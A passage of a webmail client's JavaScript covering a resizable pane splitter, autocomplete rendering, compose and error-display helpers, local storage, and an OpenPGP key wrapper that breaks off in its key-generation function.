  					.bind('mousemove', doSplitMouse)
  					.bind('mouseup', endSplitMouse);
  			},
  			doSplitMouse = function (e) {
  				var newPos = (rtl ? splitter._overallWidth - e[opts['eventPos']] : e[opts['eventPos']]) + opts['_posSplit'];
  				resplit(newPos);
  				
  				if (Utils.isFunc(args.resizeFunc))
  				{
  					args.resizeFunc();
  				}
  			},
  			endSplitMouse = function endSplitMouse(e) {
  				bar.removeClass(opts['activeClass']);
  
  				$('body')
  					.attr({'unselectable': 'off'})
  					.removeClass('unselectable');
  
  				// Store 'width' data
  				if (storageKey)
  				{
  					App.Storage.setData(storageKey + 'ResizerWidth', panes.get(0)[opts['pxSplit']]);
  				}
  
  				$(document)
  					.unbind('mousemove', doSplitMouse)
  					.unbind('mouseup', endSplitMouse);
  				
  				if (Utils.isFunc(args.resizeFunc))
  				{
  					args.resizeFunc();
  				}
  			},
  			resplit = function (newPosition, bIgnoreSizeLimits) {
  
  				var iLeftMin = panes.get(0)._min;
  
  				nPreviousNewPosition = newPosition;
  				if (bCollapse && (iLeftMin - newPosition) > 150) //Collapse
  				{
  					newPosition = 5;
  					bIgnoreSizeLimits = true;
  				}
  
  				if (!bIgnoreSizeLimits) { //Constrain new splitbar position to fit pane size limits
  					newPosition = window.Math.max(
  						iLeftMin,
  						splitter._overallWidth - panes.get(1)._max,
  						window.Math.min(
  							newPosition,
  							panes.get(0)._max,
  							splitter._overallWidth - panes.get(1)._min
  						)
  					);
  				}
  
  				panes.get(0).$.css(opts['split'], newPosition);
  				panes.get(1).$.css(opts['split'], splitter._overallWidth - newPosition);
  				
  				if (!App.browser.ie8AndBelow)
  				{
  					panes.trigger('resize');
  				}
  			},
  			dimSum = function (elem, dims) {
  				// Opera returns -1 for missing min/max width, turn into 0
  				var sum = 0, i = 1;
  				for (; i < arguments.length; i++)
  				{
  					sum += window.Math.max(window.parseInt(elem.css(arguments[i]), 10) || 0, 0);
  				}
  				
  				return sum;
  			},
  			vh = (args.splitHorizontal ? 'h' : args.splitVertical ? 'v' : args.type) || 'v',
  			opts = $.extend({
  				'activeClass': 'active',	// class name for active splitter
  				'pxPerKey': 8,				// splitter px moved per keypress
  				'tabIndex': 0,				// tab order indicator
  				'accessKey': ''				// accessKey for splitbar
  			},{
  				v: {						// Vertical splitters:
  					'keyLeft': 39, 'keyRight': 37,
  					'type': 'v', 'eventPos': "pageX", 'origin': "left",
  					'split': "width",  'pxSplit': "offsetWidth",  'side1': "Left", 'side2': "Right",
  					'fixed': "height", 'pxFixed': "offsetHeight", 'side3': "Top",  'side4': "Bottom"
  				},
  				h: {						// Horizontal splitters:
  					'keyTop': 40, 'keyBottom': 38,
  					'type': 'h', 'eventPos': "pageY", 'origin': "top",
  					'split': "height", 'pxSplit': "offsetHeight", 'side1': "Top",  'side2': "Bottom",
  					'fixed': "width",  'pxFixed': "offsetWidth",  'side3': "Left", 'side4': "Right"
  				}
  			}[vh], args),
  			
  			splitter = $(this),
  			panes = $(">*:not(css3pie)", splitter).each(function(){this.$ = $(this);}),
  			bar = $('.resize_handler', panes.get(0))
  				.attr({'unselectable': 'on'})
  				.bind('mousedown', startSplitMouse),
  			rtl = splitter.css('direction') === 'rtl'
  		;
  
  		panes.get(0)._paneName = opts['side1'];
  		panes.get(1)._paneName = opts['side2'];
  		
  		panes.each(function(){
  			this._min = opts['min' + this._paneName] || dimSum(this.$, 'min-' + opts['split']);
  			this._max = opts['max' + this._paneName] || dimSum(this.$, 'max-' + opts['split']) || 9999;
  			this._init = opts['size' + this._paneName] === undefined ?
  				window.parseInt($.css(this, opts['split']), 10) : opts['size' + this._paneName];
  		});
  
  		// Determine initial position, get from cookie if specified
  		if (storageKey)
  		{
  			initPosition = App.Storage.getData(storageKey + 'ResizerWidth') || panes.get(0)._init;
  		}
  		else
  		{
  			initPosition = panes.get(0)._init;
  		}
  
  		if (isNaN(initPosition))
  		{
  			initPosition = splitter[0][opts['pxSplit']];
  			initPosition = window.Math.round(initPosition / panes.length);
  		}
  		// Resize event propagation and splitter sizing
  		if (opts['resizeToWidth'] && !(App.browser.ie8AndBelow))
  		{
  			$(window).bind('resize', function(e) {
  				if (e.target !== this)
  				{
  					return;
  				}
  				splitter.trigger('resize'); 
  			});
  		}
  
  		splitter.bind('resize', function (ev, size, sCommand, bIgnoreSizeLimits, bMaximizeOnly) {
  
  			var tKey = ev.target.className + '_' + sCommand;
  			if (bIsMouseSplit)
  			{
  				oLastState = {};
  			}
  
  			// Custom events bubble in jQuery 1.3; don't get into a Yo Dawg
  			if (ev.target !== this)
  			{
  				return;
  			}
  
  			// Determine new width/height of splitter container
  			splitter._overallWidth = splitter[0][opts['pxSplit']];
  
  			// Return if splitter isn't visible or content isn't there yet
  			if (splitter._overallWidth <= 0)
  			{
  				return;
  			}
  
  			if (!(opts['sizeRight'] || opts['sizeBottom']))
  			{
  				nSize = panes.get(0)[opts['pxSplit']];
  			}
  			else
  			{
  				nSize = splitter._overallWidth - panes.get(1)[opts['pxSplit']];
  			}
  
  			if (isNaN(size))
  			{
  				size = nSize;
  			}
  			else if (sCommand)
  			{
  				if(bMaximizeOnly)
  				{
  					size = oLastState[tKey] ? oLastState[tKey] : nSize;
  				}
  				else
  				{
  					bIsMouseSplit = false;
  
  					if (oLastState[tKey])
  					{
  						size = oLastState[tKey];
  						oLastState[tKey] = null;
  					}
  					else
  					{
  						if (size === nSize)
  						{
  							oLastState[tKey] = null;
  							size = oLastStateReserve[tKey];
  						}
  						else
  						{
  							oLastState[tKey] = oLastStateReserve[tKey] = nSize;
  						}
  
  						_.each(oLastState, function(num, key) {
  							if (key !== tKey)
  							{
  								oLastState[key] = null;
  							}
  						});
  					}
  				}
  			}
  
  			resplit(size, bIgnoreSizeLimits);
  			
  		}).trigger('resize', [initPosition]);
  	});
  };
  
  })(jQuery);
  (function ($) {
  
  /**
   * extend jQuery autocomplete
   */
  
  	// styling results
  	$.ui.autocomplete.prototype._renderItem = function (ul, item) {
  
  		/*item.label = Utils.trim(item.label);
  
  		item.label = item.label.replace(/\([^\)]+\)$/i, function (sMatch) {
  			return '~~1~~' + sMatch + '~~2~~';
  		});
  
  		item.label = item.label.replace(/<[^>]+>$/i, function (sMatch) {
  			return '~~1~~' + sMatch + '~~2~~';
  		});
  
  		//item.label = Utils.encodeHtml(item.label);
  
  		item.label = item.label
  			.replace(/~~1~~/, '<span class="email" style="opacity: 0.5">')
  			.replace(/~~2~~/, '</span>')
  		;*/
  		var aEmail = item.label.match(/[a-zA-Z0-9.\-_]+@[a-zA-Z0-9.\-]+/g);
  		if (aEmail) {
  			item.label = item.label.replace('<' + aEmail[0] + '>', "<span style='opacity: 0.5'>" + '&lt;' + aEmail[0] + '&gt' + "</span>"); //highlight <email>
  		}
  
  		return $('<li>')
  			.append('<a>' + item.label + (item.global ? '' : '<span class="del"></span>') + '</a>')
  			//.append(item.global ? null : '<span class="del"></span>')
  			.appendTo(ul);
  	};
  
  	// add categories
  	$.ui.autocomplete.prototype._renderMenu = function(ul, items) {
  		
  		var
  			self = this,
  			currentCategory = ''
  		;
  
  		$.each(items, function(index, item) {
  			
  			if (item && item.category && item.category !== currentCategory) {
  				currentCategory = item.category;
  				ul.append('<li class="ui-autocomplete-category">' + item.category + '</li>');
  			}
  
  			self._renderItemData(ul, item);
  		});
  	};
  
  	// Prevent blur then you reach last/first element in list of suggestions
  	$.ui.autocomplete.prototype._move = function(direction, event) {
  
  		if ( !this.menu.element.is( ":visible" ) ) {
  			this.search( null, event );
  			return;
  		}
  		if ( this.menu.isFirstItem() && /^previous/.test( direction ))
  		{
  			this._value( this.term );
  			this.menu._move( "first", "first", event );
  		}
  		else if ( this.menu.isLastItem() && /^next/.test( direction ))
  		{
  			this._value( this.term );
  			this.menu._move( "last", "last", event );
  		}
  
  		this.menu[ direction ]( event );
  	};
  })(jQuery);
  
  /**
   * @constructor
   */
  function CApi()
  {
  	this.openPgp = null;
  	this.openPgpCallbacks = [];
  }
  
  CApi.prototype.composeMessage = function ()
  {
  	App.Routing.setHash([Enums.Screens.Compose]);
  };
  
  /**
   * @param {string} sFolder
   * @param {string} sUid
   */
  CApi.prototype.composeMessageFromDrafts = function (sFolder, sUid)
  {
  	var aParams = App.Links.composeFromMessage('drafts', sFolder, sUid);
  	App.Routing.setHash(aParams);
  };
  
  /**
   * @param {string} sReplyType
   * @param {string} sFolder
   * @param {string} sUid
   */
  CApi.prototype.composeMessageAsReplyOrForward = function (sReplyType, sFolder, sUid)
  {
  	var aParams = App.Links.composeFromMessage(sReplyType, sFolder, sUid);
  	App.Routing.setHash(aParams);
  };
  
  /**
   * @param {string} sToAddresses
   */
  CApi.prototype.composeMessageToAddresses = function (sToAddresses)
  {
  	var aParams = App.Links.composeWithToField(sToAddresses);
  	App.Routing.setHash(aParams);
  };
  
  /**
   * @param {Object} oVcard
   */
  CApi.prototype.composeMessageWithVcard = function (oVcard)
  {
  	var aParams = ['vcard', oVcard];
  	App.Routing.goDirectly(App.Links.compose(), aParams);
  };
  
  /**
   * @param {string} sArmor
   * @param {string} sDownloadLinkFilename
   */
  CApi.prototype.composeMessageWithPgpKey = function (sArmor, sDownloadLinkFilename)
  {
  	var aParams = ['data-as-file', sArmor, sDownloadLinkFilename];
  	App.Routing.goDirectly(App.Links.compose(), aParams);
  };
  
  /**
   * @param {Array} aFileItems
   */
  CApi.prototype.composeMessageWithFiles = function (aFileItems)
  {
  	var aParams = ['file', aFileItems];
  	App.Routing.goDirectly(App.Links.compose(), aParams);
  };
  
  CApi.prototype.closeComposePopup = function ()
  {
  	//function is overrided in mail module
  };
  
  /**
   * @param {string} sEmail
   */
  CApi.prototype.createMailAccount = function (sEmail)
  {
  	//function is overrided in mail module
  };
  
  CApi.prototype.showChangeDefaultAccountPasswordPopup = function ()
  {
  	//function is overrided in mail module
  };
  
  /**
   * @param {Function=} fAfterConfigureMail
   */
  CApi.prototype.showConfigureMailPopup = function (fAfterConfigureMail)
  {
  	//function is overrided in mail module
  };
  
  /**
   * Downloads by url through iframe or new window.
   *
   * @param {string} sUrl
   */
  CApi.prototype.downloadByUrl = function (sUrl)
  {
  	var oIframe = null;
  	
  	if (bMobileDevice)
  	{
  		window.open(sUrl);
  	}
  	else
  	{
  		oIframe = $('<iframe style="display: none;"></iframe>').appendTo(document.body);
  		
  		oIframe.attr('src', sUrl);
  		
  		setTimeout(function () {
  			oIframe.remove();
  		}, 60000);
  	}
  };
  
  /**
   * @return {boolean}
   */
  CApi.prototype.isPgpSupported = function ()
  {
  	return !!(window.crypto && window.crypto.getRandomValues);
  };
  
  /**
   * @param {Function} fCallback
   * @param {mixed=} sUserUid
   */
  CApi.prototype.pgp = function (fCallback, sUserUid)
  {
  	if (Utils.isFunc(fCallback))
  	{
  		if (this.openPgp)
  		{
  			fCallback(this.openPgp);
  		}
  		else if (this.isPgpSupported())
  		{
  			if (null !== this.openPgpCallbacks)
  			{
  				this.openPgpCallbacks.push(fCallback);
  			}
  			else
  			{
  				fCallback(false);
  			}
  			
  			var self = this;
  			if (!this.openPgpRequest)
  			{
  				this.openPgpRequest = true;
  				
  				$.ajax({
  					'url': 'static/js/openpgp.js',
  					'dataType': 'script',
  					'cache': true,
  					'complete': function () {
  						
  						self.openPgp = window.openpgp ? new OpenPgp(window.openpgp, 'user_' + (sUserUid || '0') + '_') : false;
  
  						if (null !== self.openPgpCallbacks)
  						{
  							_.each(self.openPgpCallbacks, function (fItemCallback) {
  								fItemCallback(self.openPgp);
  							});
  						}
  
  						self.openPgpCallbacks = null;
  					}
  				});
  			}
  		}
  		else
  		{
  			fCallback(false);
  		}
  	}
  };
  
  /**
   * @param {string} sLoading
   */
  CApi.prototype.showLoading = function (sLoading)
  {
  	App.Screens.showLoading(sLoading);
  };
  
  CApi.prototype.hideLoading = function ()
  {
  	App.Screens.hideLoading();
  };
  
  /**
   * @param {string} sReport
   * @param {number=} iDelay if 0 comes then report will not be closed automatically
   */
  CApi.prototype.showReport = function (sReport, iDelay)
  {
  	App.Screens.showReport(sReport, iDelay);
  };
  
  /**
   * @param {string} sError
   * @param {boolean=} bHtml = false
   * @param {boolean=} bNotHide = false
   * @param {boolean=} bGray = false
   */
  CApi.prototype.showError = function (sError, bHtml, bNotHide, bGray)
  {
  	App.Screens.showError(sError, bHtml, bNotHide, bGray);
  };
  
  /**
   * @param {boolean=} bGray = false
   */
  CApi.prototype.hideError = function (bGray)
  {
  	App.Screens.hideError(bGray);
  };
  
  /**
   * @param {Object} oRes
   * @param {string} sPgpAction
   * @param {string=} sDefaultError
   */
  CApi.prototype.showPgpErrorByCode = function (oRes, sPgpAction, sDefaultError)
  {
  	var
  		aErrors = Utils.isNonEmptyArray(oRes.errors) ? oRes.errors : [],
  		aNotices = Utils.isNonEmptyArray(oRes.notices) ? oRes.notices : [],
  		aEmailsWithoutPublicKey = [],
  		aEmailsWithoutPrivateKey = [],
  		sError = '',
  		bNoSignDataNotice = false,
  		bNotice = true
  	;
  	
  	_.each(_.union(aErrors, aNotices), function (aError) {
  		if (aError.length === 2)
  		{
  			switch(aError[0])
  			{
  				case OpenPgpResult.Enum.GenerateKeyError:
  					sError = Utils.i18n('OPENPGP/ERROR_GENERATE_KEY');
  					break;
  				case OpenPgpResult.Enum.ImportKeyError:
  					sError = Utils.i18n('OPENPGP/ERROR_IMPORT_KEY');
  					break;
  				case OpenPgpResult.Enum.ImportNoKeysFoundError:
  					sError = Utils.i18n('OPENPGP/ERROR_IMPORT_NO_KEY_FOUND');
  					break;
  				case OpenPgpResult.Enum.PrivateKeyNotFoundError:
  				case OpenPgpResult.Enum.PrivateKeyNotFoundNotice:
  					aEmailsWithoutPrivateKey.push(aError[1]);
  					break;
  				case OpenPgpResult.Enum.PublicKeyNotFoundError:
  					bNotice = false;
  					aEmailsWithoutPublicKey.push(aError[1]);
  					break;
  				case OpenPgpResult.Enum.PublicKeyNotFoundNotice:
  					aEmailsWithoutPublicKey.push(aError[1]);
  					break;
  				case OpenPgpResult.Enum.KeyIsNotDecodedError:
  					if (sPgpAction === Enums.PgpAction.DecryptVerify)
  					{
  						sError = Utils.i18n('OPENPGP/ERROR_DECRYPT') + ' ' + Utils.i18n('OPENPGP/ERROR_KEY_NOT_DECODED', {'USER': aError[1]});
  					}
  					else if (sPgpAction === Enums.PgpAction.Sign || sPgpAction === Enums.PgpAction.EncryptSign)
  					{
  						sError = Utils.i18n('OPENPGP/ERROR_SIGN') + ' ' + Utils.i18n('OPENPGP/ERROR_KEY_NOT_DECODED', {'USER': aError[1]});
  					}
  					break;
  				case OpenPgpResult.Enum.SignError:
  					sError = Utils.i18n('OPENPGP/ERROR_SIGN');
  					break;
  				case OpenPgpResult.Enum.VerifyError:
  					sError = Utils.i18n('OPENPGP/ERROR_VERIFY');
  					break;
  				case OpenPgpResult.Enum.EncryptError:
  					sError = Utils.i18n('OPENPGP/ERROR_ENCRYPT');
  					break;
  				case OpenPgpResult.Enum.DecryptError:
  					sError = Utils.i18n('OPENPGP/ERROR_DECRYPT');
  					break;
  				case OpenPgpResult.Enum.SignAndEncryptError:
  					sError = Utils.i18n('OPENPGP/ERROR_ENCRYPT_OR_SIGN');
  					break;
  				case OpenPgpResult.Enum.VerifyAndDecryptError:
  					sError = Utils.i18n('OPENPGP/ERROR_DECRYPT_OR_VERIFY');
  					break;
  				case OpenPgpResult.Enum.DeleteError:
  					sError = Utils.i18n('OPENPGP/ERROR_DELETE_KEY');
  					break;
  				case OpenPgpResult.Enum.VerifyErrorNotice:
  					sError = Utils.i18n('OPENPGP/ERROR_VERIFY');
  					break;
  				case OpenPgpResult.Enum.NoSignDataNotice:
  					bNoSignDataNotice = true;
  					break;
  			}
  		}
  	});
  	
  	if (aEmailsWithoutPublicKey.length > 0)
  	{
  		aEmailsWithoutPublicKey = _.without(aEmailsWithoutPublicKey, '');
  		if (aEmailsWithoutPublicKey.length > 0)
  		{
  			sError = Utils.i18n('OPENPGP/ERROR_NO_PUBLIC_KEYS_FOR_USERS_PLURAL', 
  					{'USERS': aEmailsWithoutPublicKey.join(', ')}, null, aEmailsWithoutPublicKey.length);
  		}
  		else if (sPgpAction === Enums.PgpAction.Verify)
  		{
  			sError = Utils.i18n('OPENPGP/ERROR_NO_PUBLIC_KEY_FOUND_FOR_VERIFY');
  		}
  		if (bNotice && sError !== '')
  		{
  			sError += ' ' + Utils.i18n('OPENPGP/ERROR_MESSAGE_WAS_NOT_VERIFIED');
  		}
  	}
  	else if (aEmailsWithoutPrivateKey.length > 0)
  	{
  		aEmailsWithoutPrivateKey = _.without(aEmailsWithoutPrivateKey, '');
  		if (aEmailsWithoutPrivateKey.length > 0)
  		{
  			sError = Utils.i18n('OPENPGP/ERROR_NO_PRIVATE_KEYS_FOR_USERS_PLURAL', 
  					{'USERS': aEmailsWithoutPrivateKey.join(', ')}, null, aEmailsWithoutPrivateKey.length);
  		}
  		else if (sPgpAction === Enums.PgpAction.DecryptVerify)
  		{
  			sError = Utils.i18n('OPENPGP/ERROR_NO_PRIVATE_KEY_FOUND_FOR_DECRYPT');
  		}
  	}
  	
  	if (sError === '' && !bNoSignDataNotice)
  	{
  		switch (sPgpAction)
  		{
  			case Enums.PgpAction.Generate:
  				sError = Utils.i18n('OPENPGP/ERROR_GENERATE_KEY');
  				break;
  			case Enums.PgpAction.Import:
  				sError = Utils.i18n('OPENPGP/ERROR_IMPORT_KEY');
  				break;
  			case Enums.PgpAction.DecryptVerify:
  				sError = Utils.i18n('OPENPGP/ERROR_DECRYPT');
  				break;
  			case Enums.PgpAction.Verify:
  				sError = Utils.i18n('OPENPGP/ERROR_VERIFY');
  				break;
  			case Enums.PgpAction.Encrypt:
  				sError = Utils.i18n('OPENPGP/ERROR_ENCRYPT');
  				break;
  			case Enums.PgpAction.EncryptSign:
  				sError = Utils.i18n('OPENPGP/ERROR_ENCRYPT_OR_SIGN');
  				break;
  			case Enums.PgpAction.Sign:
  				sError = Utils.i18n('OPENPGP/ERROR_SIGN');
  				break;
  		}
  		sError = sDefaultError;
  	}
  	
  	if (sError !== '')
  	{
  		App.Api.showError(sError);
  	}
  	
  	return bNoSignDataNotice;
  };
  
  /**
   * @param {Object} oResponse
   * @param {string=} sDefaultError
   * @param {boolean=} bNotHide = false
   */
  CApi.prototype.showErrorByCode = function (oResponse, sDefaultError, bNotHide)
  {
  	var
  		iErrorCode = oResponse.ErrorCode,
  		sResponseError = oResponse.ErrorMessage || '',
  		sResultError = ''
  	;
  	
  	switch (iErrorCode)
  	{
  		default:
  			sResultError = sDefaultError || Utils.i18n('WARNING/UNKNOWN_ERROR');
  			break;
  		case Enums.Errors.AuthError:
  			sResultError = Utils.i18n('WARNING/LOGIN_PASS_INCORRECT');
  			break;
  		case Enums.Errors.DataBaseError:
  			sResultError = Utils.i18n('WARNING/DATABASE_ERROR');
  			break;
  		case Enums.Errors.LicenseProblem:
  			sResultError = Utils.i18n('WARNING/INVALID_LICENSE');
  			break;
  		case Enums.Errors.DemoLimitations:
  			sResultError = Utils.i18n('DEMO/WARNING_THIS_FEATURE_IS_DISABLED');
  			break;
  		case Enums.Errors.Captcha:
  			sResultError = Utils.i18n('WARNING/CAPTCHA_IS_INCORRECT');
  			break;
  		case Enums.Errors.CanNotGetMessage:
  			sResultError = Utils.i18n('MESSAGE/ERROR_MESSAGE_DELETED');
  			break;
  		case Enums.Errors.NoRequestedMailbox:
  			sResultError = sDefaultError + ' ' + Utils.i18n('COMPOSE/ERROR_INVALID_ADDRESS', {'ADDRESS': (oResponse.Mailbox || '')});
  			break;
  		case Enums.Errors.CanNotChangePassword:
  			sResultError = Utils.i18n('WARNING/UNABLE_CHANGE_PASSWORD');
  			break;
  		case Enums.Errors.AccountOldPasswordNotCorrect:
  			sResultError = Utils.i18n('WARNING/CURRENT_PASSWORD_NOT_CORRECT');
  			break;
  		case Enums.Errors.FetcherIncServerNotAvailable:
  			sResultError = Utils.i18n('WARNING/FETCHER_SAVE_ERROR');
  			break;
  		case Enums.Errors.FetcherLoginNotCorrect:
  			sResultError = Utils.i18n('WARNING/FETCHER_SAVE_ERROR');
  			break;
  		case Enums.Errors.HelpdeskUserNotExists:
  			sResultError = Utils.i18n('HELPDESK/ERROR_FORGOT_NO_ACCOUNT');
  			break;
  		case Enums.Errors.MailServerError:
  			sResultError = Utils.i18n('WARNING/CANT_CONNECT_TO_SERVER');
  			break;
  		case Enums.Errors.DataTransferFailed:
  			sResultError = Utils.i18n('WARNING/DATA_TRANSFER_FAILED');
  			break;
  		case Enums.Errors.NotDisplayedError:
  			sResultError = '';
  			break;
  	}
  	
  	if (sResultError !== '')
  	{
  		if (sResponseError !== '')
  		{
  			sResultError += ' (' + sResponseError + ')';
  		}
  		this.showError(sResultError, false, !!bNotHide);
  	}
  	else if (sResponseError !== '')
  	{
  		this.showError(sResponseError);
  	}
  };
  
  /**
   * @param {string} sFileName
   * @param {number} iSize
   * @returns {Boolean}
   */
  CApi.prototype.showErrorIfAttachmentSizeLimit = function (sFileName, iSize)
  {
  	var
  		sWarning = Utils.i18n('COMPOSE/UPLOAD_ERROR_FILENAME_SIZE', {
  			'FILENAME': sFileName,
  			'MAXSIZE': Utils.friendlySize(AppData.App.AttachmentSizeLimit)
  		})
  	;
  	
  	if (AppData.App.AttachmentSizeLimit > 0 && iSize > AppData.App.AttachmentSizeLimit)
  	{
  		App.Screens.showPopup(AlertPopup, [sWarning]);
  		return true;
  	}
  	
  	return false;
  };
  
  /**
   * Moves the specified messages in the current folder to the Trash or delete permanently 
   * if the current folder is Trash or Spam.
   * 
   * @param {Array} aUids
   * @param {Object} oApp
   * @param {Function=} fAfterDelete
   */
  CApi.prototype.deleteMessages = function (aUids, oApp, fAfterDelete)
  {
  	if (!Utils.isFunc(fAfterDelete))
  	{
  		fAfterDelete = function () {};
  	}
  	
  	var
  		oFolderList = App.MailCache.folderList(),
  		sCurrFolder = oFolderList.currentFolderFullName(),
  		oTrash = oFolderList.trashFolder(),
  		bInTrash =(oTrash && sCurrFolder === oTrash.fullName()),
  		oSpam = oFolderList.spamFolder(),
  		bInSpam = (oSpam && sCurrFolder === oSpam.fullName()),
  		fDeleteMessages = function (bResult) {
  			if (bResult)
  			{
  				oApp.MailCache.deleteMessages(aUids);
  				fAfterDelete();
  			}
  		}
  	;
  	
  	if (bInSpam)
  	{
  		oApp.MailCache.deleteMessages(aUids);
  		fAfterDelete();
  	}
  	else if (bInTrash)
  	{
  		App.Screens.showPopup(ConfirmPopup, [Utils.i18n('MAILBOX/CONFIRM_MESSAGES_DELETE'), fDeleteMessages]);
  	}
  	else if (oTrash)
  	{
  		oApp.MailCache.moveMessagesToFolder(oTrash.fullName(), aUids);
  		fAfterDelete();
  	}
  	else if (!oTrash)
  	{
  		App.Screens.showPopup(ConfirmPopup, [Utils.i18n('MAILBOX/CONFIRM_MESSAGES_DELETE_NO_TRASH_FOLDER'), fDeleteMessages]);
  	}
  };
  
  CApi.prototype.contactCreate = function (sName, sEmail, fContactCreateResponse, oContactCreateContext)
  {
  	//function is overrided in contacts module
  };
  
  /**
   * Object for saving and restoring data in local storage or cookies.
   * 
   * @constructor
   */
  function CStorage()
  {
  	this.bHtml5 = true;
  	
  	this.init();
  }
  
  /**
   * Returns **true** if data with specified key exists in the storage.
   * 
   * @param {string} sKey
   * @returns {boolean}
   */
  CStorage.prototype.hasData = function (sKey)
  {
  	var sValue = this.bHtml5 ? localStorage.getItem(sKey) : $.cookie(sKey);
  	
  	return !!sValue;
  };
  
  /**
   * Returns value of data with specified key from the storage.
   * 
   * @param {string} sKey
   * @returns {string|number|Object}
   */
  CStorage.prototype.getData = function (sKey)
  {
  	var sValue = this.bHtml5 ? localStorage.getItem(sKey) : $.cookie(sKey);
  	
  	return $.parseJSON(sValue);
  };
  
  /**
   * Sets value of data with specified key to the storage.
   * 
   * @param {string} sKey
   * @param {string|number|Object} mValue
   */
  CStorage.prototype.setData = function (sKey, mValue)
  {
  	var sValue = JSON.stringify(mValue);
  	
  	if (this.bHtml5)
  	{
  		localStorage.setItem(sKey, sValue);
  	}
  	else
  	{
  		$.cookie(sKey, sValue, { expires: 30 });
  	}
  };
  
  /**
   * Removes data with specified key from the storage.
   * 
   * @param {srting} sKey
   */
  CStorage.prototype.removeData = function (sKey)
  {
  	if (this.bHtml5)
  	{
  		localStorage.removeItem(sKey);
  	}
  	else
  	{
  		$.cookie(sKey, null);
  	}
  };
  
  /**
   * Initializes the object for work with local storage or cookie.
   */
  CStorage.prototype.init = function ()
  {
  	if (typeof Storage === 'undefined')
  	{
  		this.bHtml5 = false;
  	}
  	else
  	{
  		try
  		{
  			localStorage.setItem('check', 'val');
  			localStorage.removeItem('check');
  		}
  		catch (err)
  		{
  			this.bHtml5 = false;
  		}
  	}
  };
  
  
  /**
   * @todo
   * @param {Object} oOpenPgp
   * @param {string=} sPrefix
   * @constructor
   */
  function OpenPgp(oOpenPgp, sPrefix)
  {
  	this.pgp = oOpenPgp;
  	this.pgpKeyring = new this.pgp.Keyring(new this.pgp.Keyring.localstore(sPrefix));
  	
  	this.keys = ko.observableArray([]);
  
  	this.reloadKeysFromStorage();
  }
  
  OpenPgp.prototype.pgp = null;
  OpenPgp.prototype.pgpKeyring = null;
  OpenPgp.prototype.keys = [];
  
  /**
   * @return {Array}
   */
  OpenPgp.prototype.getKeys = function ()
  {
  	return this.keys();
  };
  
  /**
   * @return {mixed}
   */
  OpenPgp.prototype.getKeysObservable = function ()
  {
  	return this.keys;
  };
  
  /**
   * @private
   */
  OpenPgp.prototype.reloadKeysFromStorage = function ()
  {
  	var
  		aKeys = [],
  		oOpenpgpKeys = this.pgpKeyring.getAllKeys()
  	;
  
  	_.each(oOpenpgpKeys, function (oItem) {
  		if (oItem && oItem.primaryKey)
  		{
  			aKeys.push(new OpenPgpKey(oItem));
  		}
  	});
  
  	this.keys(aKeys);
  };
  
  /**
   * @private
   * @param {Array} aKeys
   * @return {Array}
   */
  OpenPgp.prototype.convertToNativeKeys = function (aKeys)
  {
  	return _.map(aKeys, function (oItem) {
  		return (oItem && oItem.pgpKey) ? oItem.pgpKey : oItem;
  	});
  };
  
  /**
   * @private
   */
  OpenPgp.prototype.cloneKey = function (oKey)
  {
  	var oPrivateKey = null;
  	if (oKey)
  	{
  		oPrivateKey = this.pgp.key.readArmored(oKey.armor());
  		if (oPrivateKey && !oPrivateKey.err && oPrivateKey.keys && oPrivateKey.keys[0])
  		{
  			oPrivateKey = oPrivateKey.keys[0];
  			if (!oPrivateKey || !oPrivateKey.primaryKey)
  			{
  				oPrivateKey = null;
  			}
  		}
  		else
  		{
  			oPrivateKey = null;
  		}
  	}
  
  	return oPrivateKey;
  };
  
  /**
   * @private
   */
  OpenPgp.prototype.decryptKeyHelper = function (oResult, oKey, sPassword, sKeyEmail)
  {
  	if (oKey)
  	{
  		try
  		{
  			oKey.decrypt(Utils.pString(sPassword));
  			if (!oKey || !oKey.primaryKey || !oKey.primaryKey.isDecrypted)
  			{
  				oResult.addError(OpenPgpResult.Enum.KeyIsNotDecodedError, sKeyEmail || '');
  			}
  		}
  		catch (e)
  		{
  			oResult.addExceptionMessage(e, OpenPgpResult.Enum.KeyIsNotDecodedError, sKeyEmail || '');
  		}
  	}
  	else
  	{
  		oResult.addError(OpenPgpResult.Enum.KeyIsNotDecodedError, sKeyEmail || '');
  	}
  };
  
  /**
   * @private
   */
  OpenPgp.prototype.verifyMessageHelper = function (oResult, sFromEmail, oDecryptedMessage)
  {
  	var
  		bResult = false,
  		oValidKey = null,
  		aVerifyResult = [],
  		aVerifyKeysId = [],
  		aPublicKeys = []
  	;
  
  	if (oDecryptedMessage && oDecryptedMessage.getSigningKeyIds)
  	{
  		aVerifyKeysId = oDecryptedMessage.getSigningKeyIds();
  		if (aVerifyKeysId && 0 < aVerifyKeysId.length)
  		{
  			aPublicKeys = this.findKeysByEmails([sFromEmail], true);
  			if (!aPublicKeys || 0 === aPublicKeys.length)
  			{
  				oResult.addNotice(OpenPgpResult.Enum.PublicKeyNotFoundNotice, sFromEmail);
  			}
  			else
  			{
  				aVerifyResult = [];
  				try
  				{
  					aVerifyResult = oDecryptedMessage.verify(this.convertToNativeKeys(aPublicKeys));
  				}
  				catch (e)
  				{
  					oResult.addNotice(OpenPgpResult.Enum.VerifyErrorNotice, sFromEmail);
  				}
  
  				if (aVerifyResult && 0 < aVerifyResult.length)
  				{
  					oValidKey = _.find(aVerifyResult, function (oItem) {
  						return oItem && oItem.keyid && oItem.valid;
  					});
  
  					if (oValidKey && oValidKey.keyid && 
  						aPublicKeys && aPublicKeys[0] &&
  						oValidKey.keyid.toHex().toLowerCase() === aPublicKeys[0].getId())
  					{
  						bResult = true;
  					}
  					else
  					{
  						oResult.addNotice(OpenPgpResult.Enum.VerifyErrorNotice, sFromEmail);
  					}
  				}
  			}
  		}
  		else
  		{
  			oResult.addNotice(OpenPgpResult.Enum.NoSignDataNotice);
  		}
  	}
  	else
  	{
  		oResult.addError(OpenPgpResult.Enum.UnknownError);
  	}
  
  	if (!bResult && !oResult.hasNotices())
  	{
  		oResult.addNotice(OpenPgpResult.Enum.VerifyErrorNotice);
  	}
  
  	return bResult;
  };
  
  /**
   * @param {string} sUserID
   * @param {string} sPassword
   * @param {number} nKeyLength
   *
   * @return {OpenPgpResult}
   */
  OpenPgp.prototype.generateKey = function (sUserID, sPassword, nKeyLength)
  {
  	var 
  		oResult = new OpenPgpResult(),
  		mKeyPair = null
  	;
  
  	try
  	{
  //		mKeyPair = this.pgp.generateKeyPair(1, Utils.pInt(nKeyLength), sUserID, Utils.trim(sPassword));
  		mKeyPair = this.pgp.generateKeyPair({
  			'userId': sUserID,
  			'numBits': Utils.pInt(nKeyLength),
  			'passphrase': Utils.trim(sPassword)
  		});
